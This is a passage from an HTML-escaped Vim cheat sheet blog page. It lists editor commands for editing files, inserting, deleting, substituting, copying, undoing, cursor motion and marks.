exit.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eZQ\u003c/td\u003e\u003ctd\u003eQuit current file and exit (same as “:q!”).\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Editing-a-File\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Editing-a-File\" class=\"headerlink\" title=\"Editing a File\"\u003e\u003c/a\u003eEditing a File\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]\u003c/td\u003e\u003ctd\u003eEdit the current file. This is useful to re-edit the current file, when it has been changed outside of Vim.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]!\u003c/td\u003e\u003ctd\u003eEdit the current file always. Discard any changes to the current buffer. This is useful if you want to start all over again.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit] {file}\u003c/td\u003e\u003ctd\u003eEdit {file}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:e[dit]! {file}\u003c/td\u003e\u003ctd\u003eEdit {file} always. Discard any changes to the current buffer.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egf\u003c/td\u003e\u003ctd\u003eEdit the file whose name is under or after the cursor. Mnemonic: “goto file”.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Inserting-Text\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Inserting-Text\" class=\"headerlink\" title=\"Inserting Text\"\u003e\u003c/a\u003eInserting Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ea\u003c/td\u003e\u003ctd\u003eAppend text after the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eA\u003c/td\u003e\u003ctd\u003eAppend text at the end of the line [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ei\u003c/td\u003e\u003ctd\u003eInsert text before the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eI\u003c/td\u003e\u003ctd\u003eInsert text before the first non-blank in the line [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egI\u003c/td\u003e\u003ctd\u003eInsert text in column 1 [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eo\u003c/td\u003e\u003ctd\u003eBegin a new line below the cursor and insert text, repeat [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eO\u003c/td\u003e\u003ctd\u003eBegin a new line above the cursor and insert text, repeat [count] times.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Inserting-a-file\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Inserting-a-file\" class=\"headerlink\" title=\"Inserting a file\"\u003e\u003c/a\u003eInserting a file\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:r[ead] [name]\u003c/td\u003e\u003ctd\u003eInsert the file [name] below the cursor.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:r[ead] !{cmd}\u003c/td\u003e\u003ctd\u003eExecute {cmd} and insert its standard output below the cursor.\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch2 id=\"Deleting-Text\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Deleting-Text\" class=\"headerlink\" title=\"Deleting Text\"\u003e\u003c/a\u003eDeleting Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u0026lt;Del\u0026gt; or x\u003c/td\u003e\u003ctd\u003eDelete [count] characters under and after the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eX\u003c/td\u003e\u003ctd\u003eDelete [count] characters before the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ed{motion}\u003c/td\u003e\u003ctd\u003eDelete text that {motion} moves over\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003edd\u003c/td\u003e\u003ctd\u003eDelete [count] lines\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eD\u003c/td\u003e\u003ctd\u003eDelete the characters under the cursor until the end of the line\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}x or \u003cbr/\u003e{Visual}d\u003c/td\u003e\u003ctd\u003eDelete the highlighted text (for {Visual} see \u003ca href=\"http://fprintf.net/vimCheatSheet.html#select\"\u003eSelecting Text\u003c/a\u003e).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}CTRL-H or \u003cbr/\u003e{Visual}\u003c/td\u003e\u003ctd\u003eWhen in Select mode: Delete the highlighted text\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}X or \u003cbr/\u003e{Visual}D\u003c/td\u003e\u003ctd\u003eDelete the highlighted lines\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]d[elete]\u003c/td\u003e\u003ctd\u003eDelete [range] lines (default: current line)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]d[elete] {count}\u003c/td\u003e\u003ctd\u003eDelete {count} lines, starting with [range]\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Changing-or-Replacing-Text\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Changing-or-Replacing-Text\" class=\"headerlink\" title=\"Changing (or Replacing) Text\"\u003e\u003c/a\u003eChanging (or Replacing) Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003er{char}\u003c/td\u003e\u003ctd\u003ereplace the character under the cursor with {char}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003eEnter Insert mode, replacing characters rather than inserting\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e~\u003c/td\u003e\u003ctd\u003eSwitch case of the character under the cursor and move the cursor to the right. If a [count] is given, do that many characters.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e~{motion}\u003c/td\u003e\u003ctd\u003eswitch case of {motion} text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}~\u003c/td\u003e\u003ctd\u003eSwitch case of highlighted text\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Substituting\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Substituting\" class=\"headerlink\" title=\"Substituting\"\u003e\u003c/a\u003eSubstituting\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e:[range]s[ubstitute]/{pattern}/{string}/[c][e][g][p][r][i][I] [count]\u003c/td\u003e\u003ctd\u003eFor each line in [range] replace a match of {pattern} with {string}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]s[ubstitute] [c][e][g][r][i][I] [count] :[range]\u0026amp;[c][e][g][r][i][I] [count]\u003c/td\u003e\u003ctd\u003eRepeat last :substitute with same search pattern and substitute string, but without the same flags. You may add extra flags\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eThe arguments that you can use for the substitute commands:\u003cbr/\u003e[c] Confirm each substitution. Vim positions the cursor on the matching\u003cbr/\u003e string. You can type:\u003cbr/\u003e ‘y’ to substitute this match\u003cbr/\u003e ‘n’ to skip this match\u003cbr/\u003e to skip this match\u003cbr/\u003e ‘a’ to substitute this and all remaining matches {not in Vi}\u003cbr/\u003e ‘q’ to quit substituting {not in Vi}\u003cbr/\u003e CTRL-E to scroll the screen up {not in Vi}\u003cbr/\u003e CTRL-Y to scroll the screen down {not in Vi}.\u003cbr/\u003e[e] When the search pattern fails, do not issue an error message and, in\u003cbr/\u003e particular, continue in maps as if no error occurred.\u003cbr/\u003e[g] Replace all occurrences in the line. Without this argument,\u003cbr/\u003e replacement occurs only for the first occurrence in each line.\u003cbr/\u003e[i] Ignore case for the pattern.\u003cbr/\u003e[I] Don’t ignore case for the pattern.\u003cbr/\u003e[p] Print the line containing the last substitute.\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"Copying-and-Moving-Text\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Copying-and-Moving-Text\" class=\"headerlink\" title=\"Copying and Moving Text\"\u003e\u003c/a\u003eCopying and Moving Text\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e“{a-zA-Z0-9.%#:-“}\u003c/td\u003e\u003ctd\u003eUse register {a-zA-Z0-9.%#:-“} for next delete, yank or put (use uppercase character to append with delete and yank) ({.%#:} only work with put).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:reg[isters]\u003c/td\u003e\u003ctd\u003eDisplay the contents of all numbered and named registers.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:reg[isters] {arg}\u003c/td\u003e\u003ctd\u003eDisplay the contents of the numbered and named registers that are mentioned in {arg}.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:di[splay] [arg]\u003c/td\u003e\u003ctd\u003eSame as :registers.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]y{motion}\u003c/td\u003e\u003ctd\u003eYank {motion} text [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]yy\u003c/td\u003e\u003ctd\u003eYank [count] lines [into register x]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]Y\u003c/td\u003e\u003ctd\u003eyank [count] lines [into register x] (synonym for yy).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}[“x]y\u003c/td\u003e\u003ctd\u003eYank the highlighted text [into register x] (for {Visual} see \u003ca href=\"http://fprintf.net/vimCheatSheet.html#select\"\u003eSelecting Text\u003c/a\u003e).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{Visual}[“x]Y\u003c/td\u003e\u003ctd\u003eYank the highlighted lines [into register x]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]y[ank] [x]\u003c/td\u003e\u003ctd\u003eYank [range] lines [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]y[ank] [x] {count}\u003c/td\u003e\u003ctd\u003eYank {count} lines, starting with last line number in [range] (default: current line), [into register x].\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]p\u003c/td\u003e\u003ctd\u003ePut the text [from register x] after the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]P\u003c/td\u003e\u003ctd\u003ePut the text [from register x] before the cursor [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]gp\u003c/td\u003e\u003ctd\u003eJust like “p”, but leave the cursor just after the new text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[“x]gP\u003c/td\u003e\u003ctd\u003eJust like “P”, but leave the cursor just after the new text.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[line]pu[t] [x]\u003c/td\u003e\u003ctd\u003ePut the text [from register x] after [line] (default current line).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[line]pu[t]! [x]\u003c/td\u003e\u003ctd\u003ePut the text [from register x] before [line] (default current line).\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Undo-x2F-Redo-x2F-Repeat\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Undo-x2F-Redo-x2F-Repeat\" class=\"headerlink\" title=\"Undo/Redo/Repeat\"\u003e\u003c/a\u003eUndo/Redo/Repeat\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eu\u003c/td\u003e\u003ctd\u003eUndo [count] changes.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:u[ndo]\u003c/td\u003e\u003ctd\u003eUndo one change.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eCTRL-R\u003c/td\u003e\u003ctd\u003eRedo [count] changes which were undone.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:red[o]\u003c/td\u003e\u003ctd\u003eRedo one change which was undone.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eU\u003c/td\u003e\u003ctd\u003eUndo all latest changes on one line. {Vi: while not moved off of it}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e.\u003c/td\u003e\u003ctd\u003eRepeat last change, with count replaced with [count].\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Moving-Around\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Moving-Around\" class=\"headerlink\" title=\"Moving Around\"\u003e\u003c/a\u003eMoving Around\u003c/h2\u003e\u003cp\u003eBasic motion commands:\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e k h l j \u003c/code\u003e\u003c/pre\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eh or\u003c/td\u003e\u003ctd\u003e[count] characters to the left (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003el or \u003cbr/\u003eor\u003c/td\u003e\u003ctd\u003e[count] characters to the right (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ek or \u003cbr/\u003eor \u003cbr/\u003eCTRL-P\u003c/td\u003e\u003ctd\u003e[count] lines upward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ej or \u003cbr/\u003eor \u003cbr/\u003eCTRL-J or \u003cbr/\u003eor \u003cbr/\u003eCTRL-N\u003c/td\u003e\u003ctd\u003e[count] lines downward (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003eTo the first character of the line (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003chome\u003e\u003c/home\u003e\u003c/td\u003e\u003ctd\u003eTo the first character of the line (exclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e^\u003c/td\u003e\u003ctd\u003eTo the first non-blank character of the line\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e$ or \u003cbr/\u003e\u003cend\u003e\u003c/end\u003e\u003c/td\u003e\u003ctd\u003eTo the end of the line and [count - 1] lines downward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg0 or \u003cbr/\u003eg\u003chome\u003e\u003c/home\u003e\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap on): To the first character of the screen line (exclusive). Differs from “0” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the leftmost character of the current line that is on the screen. Differs from “0” when the first character of the line is not on the screen.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg^\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap’ on): To the first non-blank character of the screen line (exclusive). Differs from “^” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the leftmost non-blank character of the current line that is on the screen. Differs from “^” when the first non-blank character of the line is not on the screen.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eg$ or \u003cbr/\u003eg\u0026lt;End\u0026amp;gr;\u003c/td\u003e\u003ctd\u003eWhen lines wrap (‘wrap’ on): To the last character of the screen line and [count - 1] screen lines downward (inclusive). Differs from “$” when a line is wider than the screen. When lines don’t wrap (‘wrap’ off): To the rightmost character of the current line that is visible on the screen. Differs from “$” when the last character of the line is not on the screen or when a count is used.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ef{char}\u003c/td\u003e\u003ctd\u003eTo [count]’th occurrence of {char} to the right. The cursor is placed on {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eF{char}\u003c/td\u003e\u003ctd\u003eTo the [count]’th occurrence of {char} to the left. The cursor is placed on {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003et{char}\u003c/td\u003e\u003ctd\u003eTill before [count]’th occurrence of {char} to the right. The cursor is placed on the character left of {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eT{char}\u003c/td\u003e\u003ctd\u003eTill after [count]’th occurrence of {char} to the left. The cursor is placed on the character right of {char} (inclusive).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e;\u003c/td\u003e\u003ctd\u003eRepeat latest f, t, F or T [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e,\u003c/td\u003e\u003ctd\u003eRepeat latest f, t, F or T in opposite direction [count] times.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e- \u003cminus\u003e\u003c/minus\u003e\u003c/td\u003e\u003ctd\u003e[count] lines upward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e+ or \u003cbr/\u003eCTRL-M or \u003cbr/\u003e\u003ccr\u003e\u003c/cr\u003e\u003c/td\u003e\u003ctd\u003e[count] lines downward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e_ \u003cunderscore\u003e\u003c/underscore\u003e\u003c/td\u003e\u003ctd\u003e[count] - 1 lines downward, on the first non-blank character (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cc-end\u003e or \u003cbr/\u003eG\u003c/c-end\u003e\u003c/td\u003e\u003ctd\u003eGoto line [count], default last line, on the first non-blank character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cc-home\u003e or \u003cbr/\u003egg\u003c/c-home\u003e\u003c/td\u003e\u003ctd\u003eGoto line [count], default first line, on the first non-blank character.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cs-right\u003e or \u003cbr/\u003ew\u003c/s-right\u003e\u003c/td\u003e\u003ctd\u003e[count] words forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cc-right\u003e or \u003cbr/\u003eW\u003c/c-right\u003e\u003c/td\u003e\u003ctd\u003e[count] WORDS forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ee\u003c/td\u003e\u003ctd\u003eForward to the end of word [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eE\u003c/td\u003e\u003ctd\u003eForward to the end of WORD [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cs-left\u003e or \u003cbr/\u003eb\u003c/s-left\u003e\u003c/td\u003e\u003ctd\u003e[count] words backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003cc-left\u003e or \u003cbr/\u003eB\u003c/c-left\u003e\u003c/td\u003e\u003ctd\u003e[count] WORDS backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ege\u003c/td\u003e\u003ctd\u003eBackward to the end of word [count]\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003egE\u003c/td\u003e\u003ctd\u003eBackward to the end of WORD [count]\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eThese commands move over words or WORDS.\u003c/p\u003e\u003cp\u003eA word consists of a sequence of letters, digits and underscores, or a sequence of other non-blank characters, separated with white space (spaces, tabs, ). This can be changed with the ‘iskeyword’ option.\u003c/p\u003e\u003cp\u003eA WORD consists of a sequence of non-blank characters, separated with white space. An empty line is also considered to be a word and a WORD.\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e(\u003c/td\u003e\u003ctd\u003e[count] sentences backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e)\u003c/td\u003e\u003ctd\u003e[count] sentences forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e{\u003c/td\u003e\u003ctd\u003e[count] paragraphs backward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e}\u003c/td\u003e\u003ctd\u003e[count] paragraphs forward\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e]]\u003c/td\u003e\u003ctd\u003e[count] sections forward or to the next ‘{‘ in the first column. When used after an operator, then the ‘}’ in the first column.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e][\u003c/td\u003e\u003ctd\u003e[count] sections forward or to the next ‘}’ in the first column\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[[\u003c/td\u003e\u003ctd\u003e[count] sections backward or to the previous ‘{‘ in the first column\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e[]\u003c/td\u003e\u003ctd\u003e[count] sections backward or to the previous ‘}’ in the first column\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003eScreen movement commands\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003ez.\u003c/td\u003e\u003ctd\u003eCenter the screen on the cursor\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ezt\u003c/td\u003e\u003ctd\u003eScroll the screen so the cursor is at the top\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ezb\u003c/td\u003e\u003ctd\u003eScroll the screen so the cursor is at the bottom\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Marks\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Marks\" class=\"headerlink\" title=\"Marks\"\u003e\u003c/a\u003eMarks\u003c/h2\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e\u003c/th\u003e\u003cth\u003e\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003em{a-zA-Z}\u003c/td\u003e\u003ctd\u003eSet mark {a-zA-Z} at cursor position (does not move the cursor, this is not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003em’ or \u003cbr/\u003em`\u003c/td\u003e\u003ctd\u003eSet the previous context mark. This can be jumped to with the “‘’” or “``” command (does not move the cursor, this is not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]ma[rk] {a-zA-Z}\u003c/td\u003e\u003ctd\u003eSet mark {a-zA-Z} at last line number in [range], column 0. Default is cursor line.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:[range]k{a-zA-Z}\u003c/td\u003e\u003ctd\u003eSame as :mark, but the space before the mark name can be omitted.\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e‘{a-z}\u003c/td\u003e\u003ctd\u003eTo the first non-blank character on the line with mark {a-z} (linewise).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e‘{A-Z0-9}\u003c/td\u003e\u003ctd\u003eTo the first non-blank character on the line with mark {A-Z0-9} in the correct file\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e`{a-z}\u003c/td\u003e\u003ctd\u003eTo the mark {a-z}\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e`{A-Z0-9}\u003c/td\u003e\u003ctd\u003eTo the mark {A-Z0-9} in the correct file\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:marks\u003c/td\u003e\u003ctd\u003eList all the current marks (not a motion command).\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e:marks {arg}\u003c/td\u003e\u003ctd\u003eList the marks that are mentioned in {arg} (not a motion command). For example:\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003chr/\u003e\u003ch2 id=\"Searching\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/#Searching\" class=\"headerlink\" 